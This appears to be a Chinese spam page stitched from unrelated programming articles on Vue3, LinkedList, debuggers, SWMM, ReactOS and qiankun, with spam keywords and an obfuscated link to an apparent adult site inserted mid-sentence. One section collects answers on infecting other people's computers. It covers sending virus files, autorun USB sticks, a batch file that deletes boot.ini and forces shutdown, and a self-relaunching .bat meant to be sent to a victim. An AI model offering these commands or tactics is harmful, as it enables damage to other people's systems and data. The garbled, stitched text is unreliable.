1.Vue3中deep样式穿透的污网网站使用细节及源码解析
2.求云翔的** 同流合污资源啊
3.放弃 console.log 吧！用 Debugger 你能读懂各种源码
4.怎么让别人电脑中毒怎么样可以让电脑中毒
5.SWMM源代码系列SWMM运行原理之各模块介绍
6.ReactOS源码争议的址源结果是什么？

Vue3中deep样式穿透的使用细节及源码解析

       在Vue3的开发中，遇到第三方UI库（如element-plus）样式失效的码污问题时，可以借助:deep()方法实现样式穿透。点开首先理解一下 scoped属性的污网网站作用，它在组件style标签中设置，址源教程官网源码能确保样式隔离，码污避免组件间的点开样式污染。

       例如，污网网站在element-plus的址源组件中，即使设置了宽度，码污由于 scoped属性导致的点开属性选择器不匹配，导致样式无法生效。污网网站这时，址源:deep()派上了用场。码污它将属性选择器前置，如:.el-inputwrapper::v-deep(.bar)会被转换为[data-v-xxxxxxx] .el-inputwrapper .bar，从而定位到UI库的选择器。

       源码解析在core-main/packages/compiler-sfc/src/compileStyle.ts中，当遇到 scoped时，会使用postcss插件将CSS转换为抽象语法树，然后在processRule函数中，rewriteSelector()方法会处理:deep，将其转换为穿透选择器。

       总结来说，当在Vue3中使用第三方UI库时，若样式设置无响应，可以考虑使用:deep()来解决样式穿透问题，以便于精确地控制和修改UI库的样式。

求云翔的** 同流合污资源啊

       因为手机的ROM空间有限，其实很简单，

m    n   e    8    、     煌 c o m

       1、从源码中很明显可以看出，LinkedList的实现是基于双向循环链表的，且头结点中不存放数据，如下图;

       2、注意两个不同的构造方法。无参构造方法直接建立一个仅包含head节点的空链表，包含Collection的构造方法，先调用无参构造方法建立一个空链表，而后将Collection中的数据加入到链表的尾部后面。

       3、在查找和删除某元素时，源码中都划分为该元素为null和不为null两种情况来处理，开源网校源码LinkedList中允许元素为null。

       4、LinkedList是基于链表实现的，因此不存在容量不足的问题，所以这里没有扩容的方法。

放弃 console.log 吧！用 Debugger 你能读懂各种源码

       很多同学不清楚为什么要使用debugger进行调试，难道console.log不行吗？

       即使学会了使用debugger，还是有很多代码看不懂，如何调试复杂的源码呢？

       这篇文章将为你讲解为什么要使用这些调试工具：console.log vs Debugger。

       相信绝大多数同学都会使用console.log进行调试，将想查看的变量值打印在控制台。

       这种方法可以满足基本需求，但遇到对象打印时就无法胜任了。

       比如，我想查看webpack源码中的compilation对象的值，我尝试打印了一下：

       但你会发现，当对象的值也是对象时，它不会展开，而是打印一个[Object] [Array]这样的字符串。

       更严重的是，打印的内容过长会超过缓冲区的大小，在terminal中显示不全：

       而使用debugger来运行，在这里设置一个断点查看，就没有这些问题了：

       有些同学可能会说，那打印一个简单的值时使用console.log还是很方便的。

       比如这样：

       真的吗？

       那还不如使用logpoint：

       代码执行到这里就会打印：

       而且没有污染代码，使用console.log的话，调试完成后这个console也不得不删除掉。

       而logpoint不需要，它就是一个断点的设置，不在代码中。

       当然，最重要的是debugger调试可以看到调用栈和作用域！

       首先是调用栈，它就是代码的执行路线。

       比如这个App的函数组件，你可以看到渲染这个函数组件会经历workLoop、beginWork、renderWithHooks等流程：

       你可以点击调用栈的每一帧，查看都执行了什么逻辑，用到了什么数据。比如可以看到这个函数组件的fiber节点：

       再就是作用域，点击每一个栈帧就可以看到每个函数的期货公式源码作用域中的变量：

       使用debugger可以看到代码的执行路径，每一步的作用域信息。而你使用console.log呢？

       只能看到那个变量的值而已。

       得到的信息量差距不是一点半点，调试时间长了，别人会对代码的运行流程越来越清晰，而你使用console.log呢？还是老样子，因为你看不到代码执行路径。

       所以，不管是调试库的源码还是业务代码，不管是调试Node.js还是网页，都推荐使用debugger打断点，别再用console.log了，即使想打印日志，也可以使用LogPoint。

       而且在排查问题的时候，使用debugger的话可以加一个异常断点，代码跑到抛异常的地方就会断住：

       可以看到调用栈来理清出错前都走了哪些代码，可以通过作用域来看到每一个变量的值。

       有了这些，排查错误就变得轻松多了！

       而你使用console.log呢？

       什么也没有，只能自己猜。

       Performance

       前面说debugger调试可以看到一条代码的执行路径，但是代码的执行路径往往比较曲折。

       比如那个React会对每个fiber节点做处理，每个节点都会调用beginWork。处理完之后又会处理下一个节点，再次调用beginWork：

       就像你走了一条小路，然后回到大路之后又走了另一条小路，使用debugger只能看到当前这条小路的执行路径，看不到其他小路的路径：

       这时候就可以结合Performance工具了，使用Performance工具看到代码执行的全貌，然后用debugger来深入每一条代码执行路径的细节。

       SourceMap

       sourcemap非常重要，因为我们执行的都是编译打包后的代码，基本是不可读的，调试这种代码也没有什么意义，而sourcemap就可以让我们直接调试最初的源码。

       比如vue，关联了sourcemap之后，我们能直接调试ts源码：

       nest.js也是：

       不使用sourcemap的话，想搞懂源码，但你调试的是编译后的代码，怎么读懂呢？

       读懂一行

       前面说的房源源码debugger、Performance、SourceMap只是调试代码的工具，那会了调试工具，依然读不懂代码怎么办呢？

       我觉得这是不可能的。

       为什么这么说呢？

       就拿react源码来说：

       switch case能读懂吧。三目运算符能读懂吧。函数调用能读懂吧。

       每一行代码都能读懂，而全部的代码不就是由这一行行代码组成的么？

       加上我们可以单步执行来知道代码执行路径。

       为啥每行代码都能读懂，连起来就读不懂了呢？

       那应该是代码太多了，而你花的时间不够而已。

       先要读懂一行，一个函数，读懂一个小功能的实现流程，慢慢积累，之后了解的越来越多之后，你能读懂的代码就会越多。

       总结

       这篇文章讲了为什么要使用调试工具，如何读懂复杂代码。

       console.log的弊端太多了，大对象打印不全，会超过terminal缓冲区，对象属性不能展开等等，不建议大家使用。即使要打印也可以使用LogPoint。

       使用debugger可以看到调用栈，也就是代码的执行路径，每个栈帧的作用域，可以知道代码从开始运行到现在都经历了什么，而console.log只能知道某个变量的值。

       此外，报错的时候也可以通过异常断点来梳理代码执行路径来排查报错原因。

       但debugger只能看到一条执行路径，可以使用Performance录制代码执行的全流程，然后再结合debugger来深入其中一条路径的执行细节。

       此外，只有调试最初的源码才有意义，不然调试编译后的代码会少很多信息。可以通过SourceMap来关联到源码，不管是Vue、React的源码还是Nest.js、Babel等的源码。

       会了调试之后，编程猫源码就能调试各种代码了，不存在看不懂的源码，因为每一行代码都是基础的语法，都是能看懂的，如果看不懂，只可能是代码太多了，你需要更多的耐心去读一行行代码、一个个函数、理清一个个功能的实现，慢慢积累就好了。

       掌握基于debugger、Performance、SourceMap等调试代码之后，各种网页和Node.js代码都能调试，各种源码都能读懂！

怎么让别人电脑中毒怎么样可以让电脑中毒

       ⑴ 怎样任别人的电脑中毒

       简单点的呢就是：如果是远程的话，你只能给对方发带有病毒的文件了，让他运行中毒了。如果你能接触到他的电脑，那更好说了，不用病毒一样让他电脑瘫痪。你想要什么病毒？我这里历史上的几大着名病毒都有：什么赤色代码，女鬼病毒等。

       ⑵ 怎么让别人的电脑中木马阿

       楼主，您可以去网上下载一个病毒，我建议你去卡饭论坛里下载，你下载完病毒后把它用邮件的方式发过去，别人下载后就会中毒，如果别人有好的杀毒软件，你的病毒就没用处了，，，，千万别做这种缺德的事！

       ⑶ 怎么样弄 能把别人的电脑中病毒啊

       最好不要传播病毒、盗号木马程序，恶意传播病毒和木马会污染互联网环境，保护大家上网的良好的环境。弄不好自己的电脑还会中毒的。

       1，还有别人的电脑上可能会有预防病的软件，如腾讯电脑管家，东方微点等等都是不错的。

       2，还有就是电脑上要是有腾讯电脑管家等等软件，开启对电脑实时防护，现在的病毒就不会入侵的。

       ⑷ 怎么让别人的电脑中病毒

       可以使用文件捆绑程序捆绑一个带毒文件，用QQ发给他。或者用优盘制作一个autorun病毒，插到他电脑上。

       ⑸ 怎么样可以让电脑中毒

       登陆优百特官网试试

       年月日，江民公司反病毒中心监测到，知名数码产品公司优百特（Unibit）官方网站大部分网页均带有恶意代码，没有打好系统漏洞补丁的电脑用户点击这些网页时，就会感染“威金”蠕虫的最新变种。“威金”蠕虫会感染可执行文件，并能通过局域网传播，严重的会导致局域网瘫痪，病毒还会下载其他若干木马程序,黑客可以借此远程控制中毒电脑。

       江民反病毒专家介绍，经过对网页源代码分析，在优百特首页（http://www.unibit.***.**/default.asp）和产品中心页面（http://www.unibit.***.**/procts_list.asp）等多个页面尾部均包含对恶意网页的引用代码：

       该恶意代码引用的恶意网页会转链另一恶意网站，而后者包含经过加密的恶意VBScript脚本，该脚本利用微软MS-漏洞，自动下载病毒文件名为worm.exe“威金”蠕虫。

       反病毒专家介绍，worm.exe是威金蠕虫的最新变种，大小K字节，文件显示为熊猫样的图标。运行后会遍历并感染正常的可执行文件，通过共享文件夹及IPC共享传播。该蠕虫还会下载worm.txt文件，该文件是一个地址列表，包含多个木马及后门程序的网址，威金蠕虫会下载并执行列表中指定的5个木马后门，黑客利用上述木马可以远程操控中毒电脑，严重侵害用户的电脑数据安全。

       针对该病毒，江民公司已经及时升级了病毒库，江民杀毒软件KV系列产品用户请立即升级到月日病毒库，即可查杀上述所有蠕虫、木马和后门病毒，确保电脑和数据安全。

       ⑹ 怎样让别人电脑中病毒。

       杜绝传染渠道

       病毒的传染无非是两种方式：一是网络，二是硬盘、U盘等存储工具。如今由于网络的盛行，通过互联网传递的病毒要远远高于后者。为此，我们要特别注意在网上的行为，不要轻易下载小网站的软件与程序。 不要不可信网站，因为这些网站很有可能含有病毒。另外还要：

       a 不用盗版或来历不明的软件。

       b对外来程序要使用尽可能多的查毒软件进行检查（未经检查的文件不能拷入硬盘，更不能使用。） ；

       c注意更新系统补丁

       安装杀毒软件定期检查病毒，更新杀毒软件，做到先预防；

       ⑺ 怎么弄别人的电脑中毒或者死机

       您好：

       建议您不要使用病毒软件破坏别人的电脑，病毒软件会对您和别人的电脑造成损害的，如果您曾使用过此类不安全的软件的话，为了您电脑的安全，建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧，打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以，您可以点击这里下载最新版的腾讯电脑管家：最新版腾讯电脑管家下载

       ⑻ 怎么让别人电脑中毒

       给你来一个系统崩溃吧，复制以下代码，不包括空格，新建一个txt文件，复制进去后，把txt文件格式变为BAT格式就行了！

       del %systemdrive%\boot.ini /a/f/q/s

       shutdown -s -t 0

       这个可以让你的电脑爆炸式的占用内存。效果：不断弹出CMD窗口，直至不能再弹出，VISTA效果最明显。

       新建一个文本文档，输入：

       start d:\在D盘打开.bat

       保存为：在D盘打开.bat（注意，保存格式要选“所有文件”）

       然后发给TA。

       原理：

       START.EXE是WINDOWS的系统文件，指启动另一个窗口所运行的文件和命令。

       把它放在D盘后，打开就执行了那个START命令——打开它。而打开后的文件又会重复执行这个命令——再次打开它，如此循环往复，绝对急死他，哈哈哈！

SWMM源代码系列SWMM运行原理之各模块介绍

       本文简要介绍了SWMM（Storm Water Management Model）的整体运行原理及其各模块功能。SWMM是一种用于模拟城市排水系统在降雨期间表现的水文模型。它通过一系列模块，实现对降雨、蒸发、下垫面处理、坡面汇流、管网水动力、水质等复杂过程的模拟。

       SWMM的运行结构包括参数读入、模块初始化、模型运算和结果输出。在参数读入阶段，SWMM可以从文本文件、二进制文件或数据库文件中获取所需参数。随后，初始化模块将这些参数分配到特定的数据结构中，并为后续计算准备环境。模型运算部分按照用户设定的输入输出时间和模拟时间间隔，执行总体模拟计算。在每一个模拟计算步长内，调用模型计算算法进行运算。最后，结果输出阶段统计并分析不同层级的模拟结果，包括质量平衡、统计信息和时间序列数据。

       在水文模型计算方面，SWMM包括降雨蒸发、超渗产流、坡面汇流和管网水动力计算。降雨蒸发模块计算特定时间步长内的降雨量和潜在蒸发量。超渗产流模块则负责计算下垫面的入渗、滞蓄和产流量。坡面汇流模块计算坡面汇流及出流量，而管网水动力模块负责计算管网系统的溢流、出流和传输量。

       水质模型部分涉及降雨水质、地面累积、地表冲刷和管网传输等计算。降雨水质模块计算随降雨进入模型系统的水质。地面累积模块计算污染物在地表的累积量，地表冲刷模块则负责计算随产汇流冲刷的污染物量，最后管网传输模块计算污染物随管网传输的量。

       此外，SWMM还提供了主要模块函数的讲解，包括导图、参数读入、模块初始化、模型运算和结果输出，这些功能共同支持SWMM的高效运行，为城市排水系统的管理提供科学依据。

ReactOS源码争议的结果是什么？

       在年1月日，Hartmut Birr在ReactOS开发者mailing list (ros-dev) 上提出了一个争议点，他声称ReactOS项目包含有反编译的Windows源码。这一发现导致非开发者暂时被禁止访问ReactOS的源代码，引发了开源社区的不满，因为ReactOS本质上是一个开源项目。

       尽管如此，ReactOS的贡献者并未因此动摇，他们继续坚持开源精神。随后，经过一段时间，所有软件开发活动逐渐恢复自由，开发者决定对这些指控进行深入的审查，以确认是否存在所谓的问题源码。

       审查过程中，可能存在“受污染”源码的部分被暂时封锁，等待经过严谨的评估。随着审查的进行，大部分源码已经解封，这意味着维护和开发活动能够正常进行。到了年，审查工作全部结束，所有源码的疑虑得以澄清，ReactOS的开发和维护工作步入了稳定的轨道。

       总的来说，ReactOS的源码争议经历了一段审查和解封的过程，但开源精神和项目发展并未因此受阻，反而通过这一事件，项目的透明度和质量得到了提升。

扩展资料

       ReactOS是开源免费的Windows NT系列(含NT4.0//XP/)克隆操作系统，保持了与Windows的系统级兼容性。

qiankun 2.x 运行时沙箱 源码分析

       当学习成为日常，知识渐成通识。在这里，我们将深入剖析qiankun 2.x 中的运行时沙箱技术，它在微前端世界中扮演着重要角色。qiankun 基于single-spa的封装，解决了微前端中的隔离问题，特别是针对全局对象污染的挑战。

       沙箱，作为网络安全中不可或缺的工具，为不受信任的文件或应用提供一个隔离环境。在微前端中，它旨在为每个微应用创建一个独立、纯净的运行空间，确保切换应用时全局对象的纯净性。其中，JS 沙箱通过proxy代理window对象，记录其属性操作，微应用则在proxy上执行，避免直接对全局对象污染。

       样式沙箱则是通过增强createElement和相关DOM操作，控制script、link、style标签的创建和添加，确保样式隔离。在微应用卸载时，它能清理缓存的动态样式，并在重新挂载时恢复。尽管严格样式隔离模式和scoped css也能提供样式隔离，但样式沙箱在此基础上提供了额外的管理功能。

       深入源码，如createSandboxJS、SingularProxySandbox等函数，虽然代码复杂，但理解其工作原理后，你会发现运行时沙箱的逻辑其实相当精妙。为了更好地探索，欢迎访问github仓库，关注patchAtBootstrapping、patchDocumentCreateElement等关键部分。

       最后，再次感谢大家的参与和支持。我们下期将继续分享更多关于qiankun运行时沙箱的深入剖析，期待你的关注和反馈。在微信公众号李永宁lyn，我们会第一时间分享新内容，同时也欢迎star和watch我们的文章。